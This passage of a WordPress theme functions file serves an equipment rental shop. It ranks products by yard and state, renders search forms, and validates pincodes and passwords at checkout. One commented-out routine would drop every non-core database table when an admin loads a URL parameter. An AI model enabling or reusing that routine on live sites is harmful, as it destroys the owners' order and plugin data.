//         'Uttar Pradesh'  => ['Madhya Pradesh', 'Rajasthan', 'Haryana', 'Bihar', 'Uttarakhand'],
//     ];
		$nearby_state_map = [
			'Andhra Pradesh' => ['Telangana', 'Karnataka', 'Tamil Nadu', 'Maharashtra', 'Chhattisgarh', 'Madhya Pradesh'],
			'Gujarat'        => ['Maharashtra', 'Madhya Pradesh', 'Chhattisgarh', 'Telangana', 'Karnataka', 'Tamil Nadu'],
			'Chandigarh'     => ['Madhya Pradesh', 'Maharashtra', 'Chhattisgarh', 'Telangana', 'Karnataka', 'Tamil Nadu'],
			'Delhi'          => ['Madhya Pradesh', 'Maharashtra', 'Chhattisgarh', 'Telangana', 'Karnataka', 'Tamil Nadu'],
			'Goa'            => ['Maharashtra', 'Karnataka', 'Telangana', 'Tamil Nadu', 'Madhya Pradesh', 'Chhattisgarh'],
			'Karnataka'      => ['Tamil Nadu', 'Telangana', 'Maharashtra', 'Madhya Pradesh', 'Chhattisgarh'],
			'Kerala'         => ['Karnataka', 'Tamil Nadu', 'Telangana', 'Maharashtra', 'Madhya Pradesh', 'Chhattisgarh'],
			'Madhya Pradesh' => ['Maharashtra', 'Chhattisgarh', 'Telangana', 'Karnataka', 'Tamil Nadu'],
			'Maharashtra'    => ['Madhya Pradesh', 'Chhattisgarh', 'Telangana', 'Karnataka', 'Tamil Nadu'],
			'Tamil Nadu'     => ['Karnataka', 'Telangana', 'Maharashtra', 'Madhya Pradesh', 'Chhattisgarh'],
			'Telangana'      => ['Maharashtra', 'Karnataka', 'Chhattisgarh', 'Madhya Pradesh', 'Tamil Nadu'],
			'Chhattisgarh'   => ['Madhya Pradesh', 'Maharashtra', 'Telangana', 'Karnataka', 'Tamil Nadu'],
			'Uttar Pradesh'  => ['Madhya Pradesh', 'Chhattisgarh', 'Maharashtra', 'Telangana', 'Karnataka', 'Tamil Nadu'],
		];


    // Step 3: Build yard location lists
    $exact_yards = [];
    $nearby_states = [];

    if ($state) {
        if (isset($state_to_yards[$state])) {
            $exact_yards = $state_to_yards[$state];
        }
        $nearby_states = $nearby_state_map[$state] ?? [];
    }

    // Optional: District to yard mapping
    $district_to_yards = [
        'Nagpur'        => ['Butibori'],
        'Amravati'      => ['Sategaon'],
        'Raipur'        => ['Raipur'],
        'Jabalpur'      => ['Jabalpur'],
        'Indore'        => ['Indore'],
        'Hyderabad'     => ['Hyderabad'],
        'Koppur'         => ['Koppur'],
        'Vijayanagara'  => ['Hospet'],
    ];
    if ($district && isset($district_to_yards[$district])) {
        $exact_yards = $district_to_yards[$district];
    }
	
	// Step 3b: Include yard location filter from checkbox only if provided
	if (!empty($_POST['yard_location'])) {
		$selected_yards = array_map('sanitize_text_field', $_POST['yard_location']);
		// Override exact_yards completely instead of merging
		$exact_yards = $selected_yards;
	}

    // Step 4: Base query args
    $base_args = [
        'post_type'      => 'product',
        'post_status'    => 'publish',
        'posts_per_page' => -1,
        'post__not_in'   => $excluded_product_ids,
        'tax_query'      => [['relation' => 'AND']],
    ];

    if (!empty($_POST['categories'])) {
        $base_args['tax_query'][] = [
            'taxonomy' => 'product_cat',
            'field'    => 'term_id',
            'terms'    => array_map('intval', $_POST['categories']),
        ];
    }

    if (!empty($_POST['purpose'])) {
        $base_args['tax_query'][] = [
            'taxonomy' => 'pa_purpose-of-listing',
            'field'    => 'slug',
            'terms'    => array_map('sanitize_text_field', $_POST['purpose']),
        ];
    }

    if (!empty($_POST['power'])) {
        $base_args['tax_query'][] = [
            'taxonomy' => 'pa_power-capacity',
            'field'    => 'slug',
            'terms'    => array_map('sanitize_text_field', $_POST['power']),
        ];
    }

    // Step 5: Exact state products
//     $match_products = [];
//     if (!empty($exact_yards)) {
//         $args1 = $base_args;
//         $args1['tax_query'][] = [
//             'taxonomy' => 'pa_yard-location',
//             'field'    => 'name',
//             'terms'    => $exact_yards,
//         ];
// 		$args1['orderby'] = 'date';
//     	$args1['order']   = 'ASC';
//         $q1 = new WP_Query($args1);
//         while ($q1->have_posts()) {
//             $q1->the_post();
//             $match_products[] = get_the_ID();
//         }
//         wp_reset_postdata();
//     }
	// Step 5: Exact state products, grouped by yard
	$match_products = [];

	if (!empty($exact_yards)) {
		foreach ($exact_yards as $yard) {

			// 1️⃣ First: Products WITHOUT 'model' purpose
			$args_no_model = $base_args;
			$args_no_model['tax_query'][] = [
				'relation' => 'AND',
				[
					'taxonomy' => 'pa_yard-location',
					'field'    => 'name',
					'terms'    => [$yard],
				],
				[
					'taxonomy' => 'pa_purpose-of-listing',
					'field'    => 'slug',
					'terms'    => ['model'],
					'operator' => 'NOT IN',
				]
			];
			$args_no_model['orderby'] = 'date';
			$args_no_model['order']   = 'ASC';

			$q_no_model = new WP_Query($args_no_model);
			while ($q_no_model->have_posts()) {
				$q_no_model->the_post();
				$match_products[] = get_the_ID();
			}
			wp_reset_postdata();

			// 2️⃣ Second: Products WITH 'model' purpose
			$args_model = $base_args;
			$args_model['tax_query'][] = [
				'relation' => 'AND',
				[
					'taxonomy' => 'pa_yard-location',
					'field'    => 'name',
					'terms'    => [$yard],
				],
				[
					'taxonomy' => 'pa_purpose-of-listing',
					'field'    => 'slug',
					'terms'    => ['model'],
					'operator' => 'IN',
				]
			];
			$args_model['orderby'] = 'date';
			$args_model['order']   = 'ASC';

			$q_model = new WP_Query($args_model);
			while ($q_model->have_posts()) {
				$q_model->the_post();
				$match_products[] = get_the_ID();
			}
			wp_reset_postdata();
		}
	}

    // Step 6: Nearby states products (yard → non-Model → Model)
	$nearby_products = [];

	foreach ($nearby_states as $priority_state) {
		if (isset($state_to_yards[$priority_state])) {
			$priority_yards = $state_to_yards[$priority_state];

			foreach ($priority_yards as $yard) {

				// 1️⃣ Non-Model products
				$args_no_model = $base_args;
				$args_no_model['tax_query'][] = [
					'relation' => 'AND',
					[
						'taxonomy' => 'pa_yard-location',
						'field'    => 'name',
						'terms'    => [$yard],
					],
					[
						'taxonomy' => 'pa_purpose-of-listing',
						'field'    => 'slug',
						'terms'    => ['model'],
						'operator' => 'NOT IN',
					]
				];
				$args_no_model['post__not_in'] = array_merge($excluded_product_ids, $match_products, $nearby_products);
				$args_no_model['orderby'] = 'date';
				$args_no_model['order']   = 'ASC';

				$q_no_model = new WP_Query($args_no_model);
				while ($q_no_model->have_posts()) {
					$q_no_model->the_post();
					$nearby_products[] = get_the_ID();
				}
				wp_reset_postdata();

				// 2️⃣ Model products
				$args_model = $base_args;
				$args_model['tax_query'][] = [
					'relation' => 'AND',
					[
						'taxonomy' => 'pa_yard-location',
						'field'    => 'name',
						'terms'    => [$yard],
					],
					[
						'taxonomy' => 'pa_purpose-of-listing',
						'field'    => 'slug',
						'terms'    => ['model'],
						'operator' => 'IN',
					]
				];
				$args_model['post__not_in'] = array_merge($excluded_product_ids, $match_products, $nearby_products);
				$args_model['orderby'] = 'date';
				$args_model['order']   = 'ASC';

				$q_model = new WP_Query($args_model);
				while ($q_model->have_posts()) {
					$q_model->the_post();
					$nearby_products[] = get_the_ID();
				}
				wp_reset_postdata();
			}
		}
	}

	// Step 7: Remaining products (all other yards/states) with same yard → non-Model → Model logic
	$remaining_products = [];
	$args_remaining_yards = $base_args;
	$args_remaining_yards['post__not_in'] = array_merge($excluded_product_ids, $match_products, $nearby_products);
	$args_remaining_yards['orderby'] = 'date';
	$args_remaining_yards['order']   = 'ASC';

	$q_remaining = new WP_Query($args_remaining_yards);
	while ($q_remaining->have_posts()) {
		$q_remaining->the_post();
		$remaining_products[] = get_the_ID();
	}
	wp_reset_postdata();


    // Step 8: Merge results
    $final_product_ids = array_merge($match_products, $nearby_products, $remaining_products);
	
    $total_found = count($final_product_ids);
    $offset = ($paged - 1) * $posts_per_page;
    $paged_ids = array_slice($final_product_ids, $offset, $posts_per_page);

    // Step 9: Output
    ob_start();
    if (!empty($paged_ids)) {
        foreach ($paged_ids as $pid) {
            $product = wc_get_product($pid);
            setup_postdata(get_post($pid));
            wc_get_template_part('content', 'product');
        }
        wp_reset_postdata();
    } else {
        echo '<p>No products found.</p>';
    }

    $has_more = ($paged * $posts_per_page) < $total_found;
    wp_send_json([
        'html'        => ob_get_clean(),
        'has_more'    => $has_more,
        'total_found' => $total_found,
    ]);
}


// ------------------------------------------------------------------------------------- Home page layout
function rent_buy_interface()
{
	ob_start(); // Start output buffering
	?>
	<div class="rent-buy-options shadows" style="width: 100%; border-radius: 16px;">
    <!-- Heading & Button Group -->
    <!-- <div id="intro-section">
        <h3 class="mb-4" style="font-size: 24px; font-weight: 600;">
            Choose your preference to explore the best options tailored for you!
        </h3>
        <div class="d-flex justify-content-center home-button-options">
            <button id="rent-button" type="button" class="btn mr-2"
                style="background: #b22222; color: white; font-weight: 600;">
                I want to rent <img src="/wp-content/uploads/2025/08/rent.png" class="ml-2" width="15">
            </button>
            <button id="buy-button" type="button" class="btn d-none"
                style="background: #1a1a1a; color: white; font-weight: 600;">
                I want to buy <img src="/wp-content/uploads/2025/08/buy-icon.png" class="ml-2" width="18">
            </button>
        </div>
    </div> -->

    <!-- Rent Form (Styled as per image) -->
    <div id="rent-form">
        <div class="d-flex align-items-center justify-content-center title py-2">
            <!-- <a onclick="goBack()" class="p-0 mr-4 text-dark">
                <i class="fa fa-arrow-left" style="font-size: 20px; cursor: pointer;"></i>
            </a> -->
            <h5 class="my-0 font-weight-bold">I want to rent equipment</h5>
        </div>

        <div class="p-4 bg-white filter-sec">
            <div class="form-row">
                <div class="form-group col-md-6">
                    <label for="start_date" class="text-dark">Start Date</label>
                    <div class="input-group">
                        <input type="date" class="form-control" name="start_date" id="start_date" min="<?php echo date('Y-m-d', strtotime('+5 days')); ?>"
                            placeholder="DD-MM-YYYY" onkeydown="return false;">
                    </div>
                </div>
                <div class="form-group col-md-6">
                    <label for="end_date" class="text-dark">End Date *</label>
                    <div class="input-group">
                        <input type="date" class="form-control end-date-new" name="end_date" id="end_date" placeholder="DD-MM-YYYY" onkeydown="return false;">
                    </div>
                </div>
<p style="font-size: 10px;line-height: 13px;color: #000;">
	* Minimum Rental period is 30 days. For any rental requirements for less than 30 days, <a href="/contact-us/" target="_blank" style="color: #4c00ff;">please contact us.</a></p>
					<?php
						$states = get_terms([
							'taxonomy'   => 'pa_yard-location',
							'hide_empty' => false,
							'parent'     => 0 // Only top-level (states)
						]);
					?>
				 <div class="form-group col-md-6">
                    <label for="end_date" class="text-dark">State</label>
                    <div class="input-group">
                       <select class="form-control state-list" name="state" id="state">
							<option value="">Select State</option>
							<option value="Andhra Pradesh">Andhra Pradesh</option>
<!-- 							<option value="Andaman and Nicobar Islands">Andaman and Nicobar Islands</option> -->
<!-- 							<option value="Arunachal Pradesh">Arunachal Pradesh</option> -->
<!-- 							<option value="Assam">Assam</option> -->
<!-- 							<option value="Bihar">Bihar</option> -->
<!-- 							<option value="Chandigarh">Chandigarh</option> -->
<!-- 							<option value="Chhattisgarh">Chhattisgarh</option> -->
<!-- 							<option value="Dadar and Nagar Haveli">Dadar and Nagar Haveli</option> -->
<!-- 							<option value="Daman and Diu">Daman and Diu</option> -->
<!-- 							<option value="Delhi">Delhi</option> -->
<!-- 							<option value="Lakshadweep">Lakshadweep</option> -->
<!-- 							<option value="Puducherry">Puducherry</option> -->
							<option value="Goa">Goa</option>
							<option value="Gujarat">Gujarat</option>
<!-- 							<option value="Haryana">Haryana</option> -->
<!-- 							<option value="Himachal Pradesh">Himachal Pradesh</option> -->
<!-- 							<option value="Jammu and Kashmir">Jammu and Kashmir</option> -->
<!-- 							<option value="Jharkhand">Jharkhand</option> -->
							<option value="Karnataka">Karnataka</option>
							<option value="Kerala">Kerala</option>
							<option value="Madhya Pradesh">Madhya Pradesh</option>
							<option value="Maharashtra">Maharashtra</option>
<!-- 							<option value="Manipur">Manipur</option> -->
<!-- 							<option value="Meghalaya">Meghalaya</option> -->
<!-- 							<option value="Mizoram">Mizoram</option> -->
<!-- 							<option value="Nagaland">Nagaland</option> -->
<!-- 							<option value="Orissa">Odisha</option> -->
<!-- 							<option value="Punjab">Punjab</option> -->
<!-- 							<option value="Rajasthan">Rajasthan</option> -->
<!-- 							<option value="Sikkim">Sikkim</option> -->
							<option value="Tamil Nadu">Tamil Nadu</option>
							<option value="Telangana">Telangana</option>
<!-- 							<option value="Tripura">Tripura</option> -->
<!-- 							<option value="Uttar Pradesh">Uttar Pradesh</option> -->
<!-- 							<option value="Uttarakhand">Uttarakhand</option> -->
<!-- 							<option value="West Bengal">West Bengal</option> -->
						</select>
                    </div>
                </div>
				
				
				
				<div class="form-group col-md-6">
                    <label for="end_date" class="text-dark">District</label>
                    <div class="input-group">
                       <select class="form-control user_district" name="district" id="district">
							<option value="">Select District</option>
						</select>
                    </div>
                </div>
				
				
				
            </div>
            <div class="form-group position-relative">
                <label for="rent_product_search" class="">Search</label>
                <div class="position-relative">
                    <div class="position-relative">
                        <input type="text" class="form-control pr-5" name="s" id="rent_product_search"
                            placeholder="Search for product" autocomplete="off">
                        <span class="search-action-wraper">
                            <div class="search-loader">
                                <div class="spinner"></div>
                            </div>
                            <div class="input-clear-btn"><img
                                    src="<?= home_url(); ?>/wp-content/uploads/2025/06/close_icon_01.png" alt="" />
                            </div>
                            <i class="fa fa-search"></i>
                        </span>
                    </div>
                    <div id="product-rent-results"></div>
                </div>
            </div>


            <!-- <button type="submit" class="btn btn-block mt-3"
style="background: #b22222; color: white; font-weight: bold; padding: 12px; font-size: 16px; border-radius: 6px;">
SEARCH
</button> -->
        </div>
    </div>

    <!-- Buy Form (Minimal, similar style) -->
    <div id="buy-form" style="display: none;">
        <div class="d-flex align-items-baseline mb-3">
            <a onclick="goBack()" class="p-0 mr-4">
                <i class="fa fa-arrow-left text-dark" style="font-size: 20px; cursor: pointer;"></i>
            </a>
            <h4 class="mb-0 font-weight-bold">Buying</h4>
        </div>

        <div>
            <div class="form-group position-relative">
                <label for="buy_product_search" class="">Search</label>
                <div class="position-relative">
                    <div class="position-relative">
                        <input type="text" class="form-control pr-5" name="s" id="buy_product_search"
                            placeholder="Search for product" autocomplete="off">
                        <span class="search-action-wraper">
                            <div class="search-loader">
                                <div class="spinner"></div>
                            </div>
                            <div class="input-clear-btn"><img
                                    src="<?= home_url(); ?>/wp-content/uploads/2025/06/close_icon_01.png" alt="" />
                            </div>
                            <i class="fa fa-search"></i>
                        </span>
                    </div>
                    <div id="product-buy-results"></div>
                </div>
            </div>

            <!-- <button type="submit" class="btn btn-block mt-3"
style="background: #b22222; color: white; font-weight: bold; padding: 12px; font-size: 16px; border-radius: 6px;">
SEARCH
</button> -->
        </div>
    </div>
</div>
<?php $buy_products = new WP_Query([
		'post_type' => 'product',
		'posts_per_page' => 10,
		'tax_query' => [
			[
				'taxonomy' => 'product_cat',
				'field' => 'slug',
				'terms' => 'buy',
			],
		],
	]);

	$product_suggestions = [];

	if ($buy_products->have_posts()) {
		while ($buy_products->have_posts()) {
			$buy_products->the_post();
			$product_suggestions[] = [
				'title' => get_the_title(),
				'link' => get_permalink(),
			];
		}
		wp_reset_postdata();
	}
?>
<?php
	return ob_get_clean(); // Return the buffered content
}
add_shortcode('rent_buy_interface', 'rent_buy_interface');

// ----------------------------------------------------------------------------------------- Search Filter 
add_action('wp_ajax_ajax_search_products', 'ajax_search_products_callback');
add_action('wp_ajax_nopriv_ajax_search_products', 'ajax_search_products_callback');

function ajax_search_products_callback()
{
	global $wpdb;

	$keyword = sanitize_text_field($_POST['keyword'] ?? '');
	$start_date = sanitize_text_field($_POST['startDate'] ?? '');
	$end_date = sanitize_text_field($_POST['endDate'] ?? '');
	$state = sanitize_text_field($_POST['state'] ?? '');
	$district = sanitize_text_field($_POST['district'] ?? '');
	$category = sanitize_text_field($_POST['category'] ?? 'rent');

	$excluded_product_ids = [];

	// Query wp_request_quote for product IDs that have date overlaps
	if ($category === 'rent' && !empty($start_date) && !empty($end_date)) {
		$table = $wpdb->prefix . 'request_quote';

		// Products with overlapping bookings between selected dates
		$results = $wpdb->get_col(
			$wpdb->prepare(
				"
                SELECT product_id FROM $table
                WHERE (
                    (start_date BETWEEN %s AND %s)
                    OR (end_date BETWEEN %s AND %s)
                    OR (%s BETWEEN start_date AND end_date)
                    OR (%s BETWEEN start_date AND end_date)
                )
                AND order_id != 0
                ",
				$start_date,
				$end_date,
				$start_date,
				$end_date,
				$start_date,
				$end_date
			)
		);

		if ($results) {
			$excluded_product_ids = array_map('absint', $results);
		}
	}

	// Allowed category IDs for rent
	$allowed_rent_cat_ids = [367, 286, 350, 355, 298, 324, 305, 401, 294, 384];

	// Build tax_query
	$tax_query = [];

	if ($category === 'rent') {
		$tax_query[] = [
			'taxonomy' => 'product_cat',
			'field'    => 'term_id',
			'terms'    => $allowed_rent_cat_ids,
			'operator' => 'IN',
		];
	} else {
		$tax_query[] = [
			'taxonomy' => 'product_cat',
			'field'    => 'slug',
			'terms'    => $category,
		];
	}

	$args = [
		'post_type' => 'product',
		'post_status' => 'publish',
		'posts_per_page' => -1,
		's' => $keyword,
		'post__not_in' => $excluded_product_ids,
		'tax_query'      => $tax_query,
	];

	$query = new WP_Query($args);

	// if ($query->have_posts()) {
	//     echo '<div class="home-search-results">';
	//     while ($query->have_posts()) {
	//         $query->the_post();
	//         echo '<div class="d-block search-prod-item" data-href="' . get_permalink() . '">' . get_the_title() . '</div>';
	//     }
	//     echo '</div>';
	// } else {
	//     echo '<p>No products found.</p>';
	// }

	if ($category === 'rent') {
		$cat_ids = [];

		if ($query->have_posts()) {
			while ($query->have_posts()) {
				$query->the_post();
				$terms = get_the_terms(get_the_ID(), 'product_cat');
				if (!empty($terms) && !is_wp_error($terms)) {
					foreach ($terms as $term) {
						if (!in_array($term->term_id, $cat_ids)) {
							$cat_ids[] = $term->term_id;
						}
					}
				}
			}
		}

		if (!empty($cat_ids)) {
			$filtered_cat_ids = array_intersect($cat_ids, $allowed_rent_cat_ids);

			// Filter category names by keyword match (case-insensitive)
			$keyword = trim($keyword);
			$matched_categories = [];

			foreach ($filtered_cat_ids as $cat_id) {
				$term = get_term($cat_id, 'product_cat');
				if ($term && !is_wp_error($term)) {
					if ($keyword === '' || stripos($term->name, $keyword) !== false) {
						$matched_categories[] = $term;
					}
				}
			}

			// Sort results A-Z by category name
			usort($matched_categories, function ($a, $b) {
				return strcasecmp($a->name, $b->name); // case-insensitive string comparison
			});

			if (!empty($matched_categories)) {
				echo '<div class="home-search-results">';
				// Add "All Products" option at the top
        $all_products_url = add_query_arg([
            'start_date' => $start_date,
            'end_date'   => $end_date,
			'state' => $state,
			'district' => $district,
        ], get_term_link('rent', 'product_cat')); // URL of Rent category
        echo '<div class="d-block search-prod-item all-products" data-href="' . esc_url($all_products_url) . '">All Products</div>';
				foreach ($matched_categories as $term) {
					$url = add_query_arg([
						'start_date' => $start_date,
						'end_date'   => $end_date,
						'state' => $state,
						'district' => $district
					], get_term_link($term));

					echo '<div class="d-block search-prod-item" data-href="' . esc_url($url) . '">' . esc_html($term->name) . '</div>';
				}
				echo '</div>';
			} else {
				echo '<p>No matching categories found for this keyword.</p>';
			}
		} else {
			echo '<p>No categories found for this date range.</p>';
		}
	}

	if ($category === 'buy') {
		if ($query->have_posts()) {
			echo '<div class="home-search-results">';
			while ($query->have_posts()) {
				$query->the_post();
				echo '<div class="d-block search-prod-item" data-href="' . get_permalink() . '">' . get_the_title() . '</div>';
			}
			echo '</div>';
		} else {
			echo '<p>No products found.</p>';
		}
	}

	// Reset post data
	wp_reset_postdata();
	wp_die();
}






add_action('woocommerce_checkout_create_order_line_item', 'save_rfq_to_order_item', 10, 4);
function save_rfq_to_order_item($item, $cart_item_key, $values, $order) {
	if (!empty($values['rfq_data'])) {
		$rfq_data = $values['rfq_data'];
		$item->add_meta_data('Start Date', $rfq_data['start_date']);
		$item->add_meta_data('End Date', $rfq_data['end_date']);
		$item->add_meta_data('Shift', $rfq_data['shift']);
		$item->add_meta_data('Location', $rfq_data['location']);
		$item->add_meta_data('Application', $rfq_data['application']);
		$item->add_meta_data('Calculated Price', format_indian_price($rfq_data['calculated_price']));
	}
}


// // Force HTML emails for WooCommerce only
// add_filter( 'woocommerce_email_content_type', function() {
//     return 'text/html';
// });

/////////////////////////////////////////////////// Woocommerce Email 
// add_action('init', function () {
//     if (isset($_GET['send_test_email'])) {
//         $order = wc_get_order(11321); // Use a real order ID
//         WC()->mailer()->emails['WC_Email_Customer_Processing_Order']->trigger($order->get_id());
//         echo 'Test email sent.';
//         exit;
//     }
// });
//https://gmmco-rms.teampumpkin.in/?send_test_email


add_action('woocommerce_init', function () {
	add_filter('woocommerce_email_classes', 'override_wc_processing_order_email');

	function override_wc_processing_order_email($emails) {
		$custom_class_file = get_stylesheet_directory() . '/custom-wc-email/class-custom-processing-order-email.php';

		if (file_exists($custom_class_file)) {
			require_once $custom_class_file;

			if (class_exists('WC_Email_Custom_Processing_Order')) {
				$emails['WC_Email_Customer_Processing_Order'] = new WC_Email_Custom_Processing_Order();
			}
		}

		return $emails;
	}
});


// add_filter('woocommerce_email_content_type', function($type, $email) {
//     if ($email instanceof WC_Email_Customer_Processing_Order) {
//         return 'text/html';
//     }
//     return $type;
// }, 10, 2);


/////////////////// modify error on checkout page if payment fail
add_action('template_redirect', 'start_output_buffer');
function start_output_buffer() {
    ob_start('replace_payment_error_message');
}

function replace_payment_error_message($buffer) {
    $search = 'TRPPE0033 : Payment processing error';
    $replace = 'We were unable to process your payment. Please try again with a different method or contact support.';
    
    return str_replace($search, $replace, $buffer);
}


////////// check pincode based on state selection
add_action('wp_footer', 'validate_pincode_with_state_script');
function validate_pincode_with_state_script() {
    if ( function_exists('is_checkout') && is_checkout() ) : ?>
        <script>
        jQuery(function($) {
            function validatePincodeStateMatch(pincodeField, stateField) {
                var pincode = $(pincodeField).val().trim();
                var selectedState = $(stateField + " option:selected").text().trim();

                if (pincode.length === 6 && selectedState !== '') {
                    $(pincodeField).siblings('.pincode-error').remove();

                    $.ajax({
                        url: 'https://api.postalpincode.in/pincode/' + pincode,
                        method: 'GET',
                        success: function(response) {
                            if (response[0].Status === 'Success') {
                                var postOffices = response[0].PostOffice;
                                var matchFound = postOffices.some(function(po) {
                                    return po.State.trim().toLowerCase() === selectedState.toLowerCase();
                                });

                                if (!matchFound) {
                                    $(pincodeField).after(
                                        '<div style="padding-bottom: 15px" class="pincode-error"><p style="color:#a91221;position: absolute;">Entered pincode does not belong to the selected state.</p></div>'
                                    );
                                }
                            } else {
                                $(pincodeField).after(
                                    '<div style="padding-bottom: 15px" class="pincode-error"><p style="color:#a91221;position: absolute;">Invalid pincode.</p></div>'
                                );
                            }
                        },
                        error: function() {
                            $(pincodeField).after(
                                '<div style="padding-bottom: 15px" class="pincode-error"><p style="color:#a91221;position: absolute;">Unable to validate pincode. Please try again.</p></div>'
                            );
                        }
                    });
                }
            }

            // Billing
            $('#billing_postcode').on('blur', function() {
                validatePincodeStateMatch('#billing_postcode', '#billing_state');
            });
            $('#billing_state').on('change', function() {
                validatePincodeStateMatch('#billing_postcode', '#billing_state');
            });

            // Shipping
            $('#shipping_postcode').on('blur', function() {
                validatePincodeStateMatch('#shipping_postcode', '#shipping_state');
            });
            $('#shipping_state').on('change', function() {
                validatePincodeStateMatch('#shipping_postcode', '#shipping_state');
            });
        });
        </script>
    <?php
    endif;
}



// Custom password validation on WooCommerce registration
add_action( 'wp_footer', function() {
    if ( function_exists('is_account_page') && is_account_page() ) : ?>
	<script>
	document.addEventListener('DOMContentLoaded', function() {
		var passwordField = document.getElementById('reg_password');
		var strengthMeter = document.querySelector('.woocommerce-password-strength');
		var errorContainer = document.querySelector('.error-message.password_wc');

		// Create strength meter if not present
		if (!strengthMeter && passwordField) {
			var strengthDiv = document.createElement('div');
			strengthDiv.className = 'woocommerce-password-strength';
			strengthDiv.setAttribute('aria-live', 'polite');
			passwordField.parentNode.insertBefore(strengthDiv, passwordField.nextSibling);
			strengthMeter = strengthDiv;
		}

		function checkStrength(password) {
			var strength = 0;
			if (password.length >= 8) strength++;
			if (/[A-Z]/.test(password)) strength++;
			if (/[a-z]/.test(password)) strength++;
			if (/[0-9]/.test(password)) strength++;
			if (/[!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?]/.test(password)) strength++;

			if (password.length === 0) return {
				level: 'empty',
				message: ''
			};
			if (strength <= 2) return {
				level: 'short',
				message: 'Weak — Please enter a stronger password (Minimum 8 characters with uppercase, lowercase, number, and special character)'
			};
			if (strength <= 4) return {
				level: 'bad',
				message: 'Medium — Please enter a stronger password (Minimum 8 characters with uppercase, lowercase, number, and special character)'
			};
			return {
				level: 'strong',
				message: 'Strong — Password looks good!'
			};
		}

		function updateStrengthMeter() {
			var password = passwordField.value.trim();
			var result = checkStrength(password);

			if (strengthMeter) {
				strengthMeter.textContent = result.message;
				strengthMeter.className = 'woocommerce-password-strength ' + result.level;

				if (result.level === 'short') {
					strengthMeter.style.color = 'red';
				} else if (result.level === 'bad') {
					strengthMeter.style.color = 'orange';
				} else if (result.level === 'strong') {
					strengthMeter.style.color = 'green';
				} else {
					strengthMeter.style.color = '';
				}
			}

			if (errorContainer) {
				errorContainer.style.display = 'none';
			}
		}

		function validatePasswordOnSubmit(e) {
			var password = passwordField.value.trim();
			var result = checkStrength(password);

			if (result.level === 'short' || result.level === 'empty' || result.level === 'bad') {
				if (errorContainer) {
					errorContainer.textContent =
						'Please enter a stronger password (Minimum 8 characters with uppercase, lowercase, number, and special character).';
					errorContainer.style.display = 'block';
				}
				e.preventDefault();
			}
		}

		if (passwordField) {
			passwordField.addEventListener('input', updateStrengthMeter);
			var form = passwordField.closest('form');
			if (form) {
				form.addEventListener('submit', validatePasswordOnSubmit);
			}
		}
	});
	</script>
<?php
    endif;
});

add_action( 'wp_print_scripts', function() {
    if ( wp_script_is( 'wc-password-strength-meter', 'enqueued' ) &&  is_account_page() ) {
        wp_dequeue_script( 'wc-password-strength-meter' );
    }
}, 100 );



add_action('admin_footer-edit.php', 'admin_product_image_popup_script');
function admin_product_image_popup_script() {
    if (!isset($_GET['post_type']) || $_GET['post_type'] !== 'product') return;
    ?>
	<style>
	#admin-image-popup {
		display: none;
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		background: rgba(0, 0, 0, 0.8);
		justify-content: center;
		align-items: center;
		z-index: 9999;
	}

	#admin-image-popup img {
		max-width: 90%;
		max-height: 90%;
		box-shadow: 0 0 10px #fff;
	}
	</style>

	<div id="admin-image-popup"><img src="" alt="Popup Image"></div>

	<script>
	jQuery(document).ready(function($) {
		// Only target image cells
		$('td.column-thumb img').css('cursor', 'zoom-in').on('click', function() {
			const fullImgUrl = $(this).attr('src').replace('-150x150',
				''); // Removes WordPress thumbnail suffix
			$('#admin-image-popup img').attr('src', fullImgUrl);
			$('#admin-image-popup').fadeIn();
		});
		$('td.column-thumb a').removeAttr('href');
		$('#admin-image-popup').on('click', function() {
			$(this).fadeOut();
		});
	});
	</script>
<?php
}
// Add this to your theme's functions.php file
// function reset_unwanted_db_tables() {
//     // Security checks: Ensure user is admin and a specific URL parameter is set
//     if (current_user_can('manage_options') && isset($_GET['reset_unwanted_tables']) && $_GET['reset_unwanted_tables'] === 'confirm_reset') {
//         global $wpdb;

//         // Prevent unauthorized access
//         if (!is_user_logged_in()) {
//             wp_die('Unauthorized access.');
//         }

//         // Define core WordPress tables to preserve (adjust for your table prefix)
//         $core_tables = array(
//             $wpdb->prefix . 'commentmeta',
//             $wpdb->prefix . 'comments',
//             $wpdb->prefix . 'links',
//             $wpdb->prefix . 'options',
//             $wpdb->prefix . 'postmeta',
//             $wpdb->prefix . 'posts',
//             $wpdb->prefix . 'termmeta',
//             $wpdb->prefix . 'terms',
//             $wpdb->prefix . 'term_relationships',
//             $wpdb->prefix . 'term_taxonomy',
//             $wpdb->prefix . 'usermeta',
//             $wpdb->prefix . 'users',
//         );

//         // Optionally, define specific tables to drop (uncomment and list tables)
//         /*
//         $unwanted_tables = array(
//             $wpdb->prefix . 'pluginname_settings',
//             $wpdb->prefix . 'another_plugin_table',
//         );
//         */

//         // Get all tables in the database
//         $all_tables = $wpdb->get_results('SHOW TABLES', ARRAY_N);
//         $all_tables = array_column($all_tables, 0); // Flatten the array

//         // Filter out core WordPress tables to get unwanted tables
//         $tables_to_drop = array_diff($all_tables, $core_tables);

//         // Optionally, use $unwanted_tables instead if you want to target specific tables
//         // $tables_to_drop = array_intersect($all_tables, $unwanted_tables);

//         // Drop unwanted tables
//         if (!empty($tables_to_drop)) {
//             foreach ($tables_to_drop as $table) {
//                 $wpdb->query("DROP TABLE IF EXISTS $table");
//             }
//             wp_die('Unwanted database tables have been dropped. Check your site to ensure it’s functioning correctly.');
//         } else {
//             wp_die('No unwanted tables found to drop.');
//         }
//     }
// }
// add_action('init', 'reset_unwanted_db_tables');

	
	
	
// Woocommerce product detail page gallery arrows
add_filter( 'woocommerce_single_product_carousel_options', 'ud_update_woo_flexslider_options' );
function ud_update_woo_flexslider_options( $options ) {

    $options['directionNav'] = true;

    return $options;
}

// Remove short description (excerpt) from single product summary
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_excerpt', 20 );


// Move checkout button before cart totals
remove_action( 'woocommerce_proceed_to_checkout', 'woocommerce_button_proceed_to_checkout', 20 );
add_action( 'woocommerce_before_cart_totals', 'woocommerce_button_proceed_to_checkout', 20 );


add_filter( 'woocommerce_checkout_fields', 'customize_billing_phone_field' );
function customize_billing_phone_field( $fields ) {
    if ( isset( $fields['billing']['billing_phone'] ) ) {
        $fields['billing']['billing_phone']['type'] = 'tel'; // Change from number to tel
        $fields['billing']['billing_phone']['inputmode'] = 'numeric'; // Keep numeric keypad
        $fields['billing']['billing_phone']['maxlength'] = 10; // Optional: limit to 10 digits
        $fields['billing']['billing_phone']['custom_attributes'] = array(
